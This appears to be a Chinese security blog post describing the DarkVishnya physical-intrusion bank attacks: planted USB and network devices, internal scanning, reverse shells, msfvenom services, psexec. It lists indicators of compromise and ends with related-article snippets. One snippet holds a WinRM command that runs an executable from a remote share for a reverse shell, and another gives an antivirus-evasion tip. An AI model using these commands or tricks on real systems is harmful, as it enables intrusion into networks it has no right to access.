肉身入侵?直接進貴司內網滲透

2021-02-14 黑鳥

👆👆👆


如果你們認為，美劇中潛入敵對公司，插入U盤然後開始黑掉公司所有網絡設備的劇情在現實中不可能出現，那麼下面這個攻擊事件卻是證明公司安保的重要性。

        

        2017 - 2018年，國外專家受邀研究一系列網絡盜竊事件。

        這些事件中每次攻擊都有一個共同的跳板：通過一個未知設備直接連接到公司內網。在某些情況下，該設備顯示處於中央辦公室，在其他情況下是區域辦事處，有時位於另一個國家。

        目前東歐至少有8家銀行成為襲擊的目標（統稱為DarkVishnya），造成數千萬美元的損失。

        每次攻擊都可以分為幾個相同的階段。

        在第一階段，網絡犯罪分子以快遞員，求職者等為幌子進入組織的大樓，並將設備連接到本地網絡，例如，在其中一個會議室中。在可能的情況下，該裝置被隱藏或融合到周圍環境中，以免引起懷疑。

            

像下圖，通常一些公司直接插網線就能夠直接上網，這點非常需要注意。

而在DarkVishnya攻擊中使用的設備根據網絡犯罪分子的能力和個人喜好而有所不同。

在本次案例中，通常為這三個工具中的一種：


在本地網絡內部，這些設備顯示為未知計算機，外部快閃記憶體驅動器，甚至是鍵盤。

由於Bash Bunny在尺寸上與USB快閃記憶體驅動器差不多大（如上圖），這使得找這玩意插在哪裡特別困難。攻擊者會通過內置或USB連接的GPRS/3G/LTE數據機遠程訪問這類設備。

從目標公司植入設備之後，（溜了之後），便開始進行第二階段，開始內網滲透。

        在第二階段，攻擊者遠程連接到設備並掃描本地網絡，以尋求訪問共享文件夾，Web伺服器和任何其他開放資源。目的是獲取有關網絡的信息，尤其是用於付款的伺服器和工作站。

        與此同時，攻擊者試圖進行爆破或嗅探這些機器的登錄數據。為了克服防火牆限制，他們使用本地TCP伺服器植入shellcode。如果防火牆阻止從網絡的一個網段訪問另一個網段，但允許反向連接，則攻擊者使用不同的有效負載來構建隧道，即反彈shell。

        

        成功後，網絡犯罪分子進入第三階段。在這裡，他們登錄目標系統並使用遠程訪問軟體來保留訪問權限。接下來，在受感染的計算機上啟動使用msfvenom創建的惡意服務。

        由於黑客使用無文件攻擊和PowerShell，他們能夠避免白名單技術和域策略。如果他們遇到無法繞過的白名單，或者PowerShell在目標計算機上被阻止，則網絡犯罪分子使用impacket，winexesvc.exe或psexec.exe遠程運行可執行文件。

公司一定要注意安保措施，競爭對手手段很多，內網隔離再多我肉身進去在地上扔一個移動硬碟我不信你不插進電腦看看有啥。(別和我說用DG打開格式化，大多數人還是不會這麼想的)

與DarkVishnya攻擊活動相關的信息

病毒名：

not-a-virus.RemoteAdmin.Win32.DameWare
MEM:Trojan.Win32.Cometer
MEM:Trojan.Win32.Metasploit
Trojan.Multi.GenAutorunReg
HEUR:Trojan.Multi.Powecod
HEUR:Trojan.Win32.Betabanker.gen
not-a-virus:RemoteAdmin.Win64.WinExe
Trojan.Win32.Powershell
PDM:Trojan.Win32.CmdServ
Trojan.Win32.Agent.smbe
HEUR:Trojan.Multi.Powesta.b
HEUR:Trojan.Multi.Runner.j
not-a-virus.RemoteAdmin.Win32.PsExec


Shellcode監聽埠

tcp://0.0.0.0:5190
tcp://0.0.0.0:7900

Shellcode 連接內網

tcp://10.**.*.***:4444
tcp://10.**.*.**:4445
tcp://10.**.*.**:31337


Shellcode 管道通信

\\.\xport
\\.\s-pipe

歡迎加入知識星球，一頓飯錢，找適合你的資源，提升個人競爭力，內推資源更是數不勝數，還在等什麼。

關注一下，謝謝大佬

相關焦點

  • 離職員工入侵電信內網 偷走客戶積分兌換禮品
    離職員工入侵電信內網 偷走客戶積分兌換禮品 　　一旦有人拍下他淘寶店裡的商品，他就通過員工專用帳號登錄進浙江電信調度系統這個平臺，找到有用的寬帶用戶帳號，再憑藉客戶帳號信息登錄進積分商城，兌換淘寶買家需要的商品，把發貨地址直接填成買家收貨地址。　　這樣，電信公司就會把積分換取的禮品直接郵寄到段某網店買家的手中了。　　但是甜頭嘗到不久後，段某的陰謀就敗露了。
  • 從Java RMI反序列化到內網淪陷
    ╮(╯-╰)╭好叭又是工作組滲透，因為該目標是教育行業某大學，感覺如果維護人員是學校計算機教師兼職維護的話，安全性應該不是特別高，內網流量監控應該不嚴，常規套路通過lcx代理進入內網（通過tasklist /svc還發現該機器上存在數字殺軟，通過本地搭建殺軟環境，myccl定位了一下特徵碼，發現殺的基本都是提示的字符串，通過CS32ASM把全部字符串大小寫反轉一下，bypass so easy 這裡假裝有圖
  • 全視域洞察阻斷內網威脅,360安全衛士主防7.0構築「安全屏障」
    在此其中，「橫向滲透」這種攻擊方式因為可以在滲透目標內網之後，通過各種攻擊手段以點破面，最大限度獲取目標資產的控制權，成為被眾多網絡黑客廣泛使用的「殺手鐧」。　　近期，360安全大腦監測發現，因竊取銀行登錄憑據而臭名昭著的Emotet木馬，現在開始通過創建遠程服務的手法進行橫向滲透，成為了分發Qakbot、TrickBot等其他惡意軟體的Loader。
  • 利用WinRM實現內網無文件攻擊反彈shell
    3、kali啟動監聽shell模式五、利用(server2016）的WinRM 實現內網無文件攻擊反彈shell1、在（server2016）中執行以下命令winrm invoke create wmicimv2/win32_process @{commandline="\\192.168.12.20\c\luomiweixiong.exe"}
  • 金魚塘:打造一款屬於汽車人自己的車商內網
    看到這些問題和機會，陳藝飛決心做些有意義和價值的事情，來幫助二手車商解決找車難、賣車難、線索貴的問題。2017年，陳藝飛離開273，開始探索創業之路，他希望做一個真正能讓車商抱團，有溫度、講信用、低成本、高品質、有生命力的車商內網，於是金魚塘內網應運而生。2019年4月，金魚塘內網試運營結束，專業本地車商內網正式上線。
  • 內網外網融合發展的實踐與思考
    內網轉隸網絡部，遇到的首要矛盾衝突，是辦網方向的選擇和確立。當時有兩種意見，一種認為內網也是新聞網站，應主打資訊信息；一種認為內網是工作服務平臺，應重點提供工作指導、服務官兵的服務功能。這種觀念衝突和分歧，就像分娩的陣痛不可避免。
  • 神州網雲攜手內網安全,築牢安全基石
    本期活動，我們邀請到神州網雲內網安全產品經理張佳帥老師作為主講嘉賓，將圍繞主題《內網隔離 安全可信》，聚焦大數據和信息安全，專注於網絡安全智能檢測分析和網絡中東西向流量安全防護、勒索病毒等惡意程序防護，高效可靠的保護您的網絡用戶數據免受高級威脅。感興趣的朋友，請識別下方圖中二維碼，提前預約觀看直播。
  • 猛料:臺「總統府」被曝電腦遭黑客入侵 蔡賴內鬥曝光
    臺「總統府」被曝電腦遭黑客入侵，蔡賴內鬥曝光[環球時報特約記者 程東]蔡英文第二任期開始前夕，臺灣「總統府」驚傳計算機遭黑客入侵，機密文件被發到各媒體信箱，爆料內容從去年的蔡賴（準「副總統」賴清德）之爭，到目前的「內閣」人事，且全是猛料。島內驚險上演的「政治版陳冠希事件」引發諸多議論。
  • 何欣榮 高少華:勒索病毒傳播警示隔離內網不能高枕無憂
    何欣榮 高少華:勒索病毒傳播警示隔離內網不能高枕無憂 每日經濟新聞 2017-05-17 00:56:13
  • 「審評」東陽光藥發力,50億艾司奧美拉唑即將首家過評
    精彩內容日前，東陽光藥以仿製3類報產的艾司奧美拉唑鎂腸溶膠囊在審狀態變更為「在審批」。米內網數據顯示，2019年中國公立醫療機構終端艾司奧美拉唑銷售額為53.75億元，目前還未有企業的產品過評。圖1：東陽光藥艾司奧美拉唑鎂腸溶膠囊在審情況艾司奧美拉唑（埃索美拉唑）是奧美拉唑的單一異構體，兩者均屬於質子泵抑制劑，能有效抑制胃酸分泌，臨床上用於治療胃食管反流性疾病、糜爛性反流性食管炎等。
  • 奧司他韋新劑型,東陽光藥報產
    奧司他韋，又一新劑型報產昨日（6月29日），CDE官網顯示，東陽光藥的3類仿製藥「磷酸奧司他韋幹混懸劑」上市申請獲承辦，成為該劑型國內第3家報產的企業。目前，國內已有多家藥企進行了磷酸奧司他韋幹混懸劑的報產，賽柏藍在米內網資料庫查詢發現，此前信泰製藥（蘇州）有限公司，成都倍特藥業股份有限公司都已經成功報產。米內網數據顯示，在中國城市公立醫院終端中，奧司他韋2019年的劑型格局表現為65%是散劑和顆粒劑，34.95%為膠囊劑。
  • 道成肉身與肉身成道(上)
    14節說，「道成了肉身」，上帝的兒子成為了肉身。成了什麼樣的肉身呢？是一個所謂的「超人」那種樣子嗎？大家看過《超人》這部電影嗎？是不是可以隨意地飛啊？有很特別的能力吧？耶穌道成了肉身，是怎樣的肉身呢？住在我們中間，是與我們同行共話的一個肉身--有同樣的血肉，有同樣的骨骼、神經、大腦，也有感情，有願望，也有意志力的選擇，也有良心和理智。他就是帶著和我們一樣的肉身。當我們說到這樣的肉身是一個墮落的肉身的時候，那是什麼意思呢？當我們說到，耶穌成為肉身，是住在我們當中，和我們一樣的肉身；當我們說，這個肉身是一個墮落的肉身的時候，是指什麼呢？是指耶穌的品格墮落了嗎？
  • 「行業名詞」滲透測試團隊和紅隊
    滲透測試團隊和紅隊Penetration Testing and Red Team 滲透測試團隊一般執行的任務是對網絡、應用程式首先需要的是確定滲透測試的範圍，然後在範圍中選定目標進行詳細的信息收集，進行了充分的信息收集之後再進行下一步的漏洞挖掘和漏洞利用，以及後滲透階段和最終完成滲透測試報告等所有工作。a這種類型的測試使用了一個漏洞挖掘、漏洞修補以及可控性的測試方法的整體模型。而紅隊的側重點及存在意義則不太一樣。
  • 推薦一款好用的內網穿透產品——續斷
    原本小微企業可以使用普通寬帶加DDNS之類的產品遠程辦公或發布內網應用,現在只能藉助內網穿透產品了。當前市面上內網穿透產品較多,參次不齊。有基於開源項目(如ngrok,frp)的二次開發,也有基於自身技術能力的自主原創。今天為大家介紹哲西信科的「續斷TM」屬於後者。哲西信科是一家網際網路網絡應用服務提供商,她的使命是「讓人們的工作更有效率」。
  • 文化入侵全球,美國是如何做到的?連盟友加拿大韓國法國哭都無效
    隨即，法國對美國的文化入侵和滲透進行了堅強的抵制。比如加大美國影視作品及文化產業的審批，通過稅收調節等。尤為突出的是，法國還將「文化例外」的主張寫進與美國的貿易談判中。比如加拿大，就則直接頒布法令限制電影發行領域的外國投資。加拿大意識到，美國文化入侵的一個方式就是通過多策略貿易戰爭佔領電影市場份額。由此，為面對美國文化的強勢入侵，加拿大則以法律形式，直接斬斷美國以「文化產業投資」實現文化入侵的渠道和橋梁。
  • 李靖何德何能,憑什麼能肉身成聖?為何一家四口都肉身成聖?
    但是，獨獨李靖背叛了商朝卻活了下來，而且還肉身成聖。為何李靖命這麼好？他的背景是什麼？想要了解李靖的背景，便要知道李靖都認識什麼人，只有人，才算得上是背景。能在關鍵時候改變李靖人生的，能給李靖帶來背景的有幾個人。
  • 明朝的東北統治機關,「奴兒幹都司」到底是幹嘛的?
    大家看上圖，這是明朝長城在東北地區的那部分，稱為「遼東邊牆」，現在中國東北地區的遼東基本在長城以內，這是從戰國時期燕國就一直延續下來的情況，所以遼東地區除了很特殊的時期（如高句麗鼎盛時期入侵），基本都是中原王朝的直接控制疆域，屬於「直屬郡縣」，但是遼東以北，長城以外的地方，也就是現在的吉林、黑龍江甚至更北呢？
  • 阿里「內網」未解之謎:3萬員工直播噴領導,為何敢實名說真話?
    阿里像是一個「王國"，有著自己的運營規則和秩序，其中阿里」內網「尤為出名。阿里巴巴內網6月舉行過一場面向全員的直播，公開討論一位員工違規行為引發的爭議。該員工曾被舉報在一項內部考評中找下屬代答，此後其受到的處罰被不少阿里員工認為「輕了」，引發爭議，不少員工在內網留言說，代考事件突破了公司的誠信紅線，屬於一類違規，應直接開除。阿里這場直播最高同時觀看人數超過3萬人，相當於每4位阿里員工就有1位正在觀看。然而針對此次事件的處理結果是：扣除「代考」事件該P9員工這一年的股票和年終獎。
  • 九華山肉身菩薩之謎
    因此，九華山不存在產生「木乃伊」的自然條件，肉身也未經過任何藥物處理。這種奇特的肉身現象，至今沒有得到科學的解釋。關於「肉身舍利」，文獻記載中，最早是唐代蘇州重玄寺的高僧智儼。《永樂大典》中說他常誦《金剛經》，忽然一天坐著圓寂，當時正是酷暑，但是肉身不壞。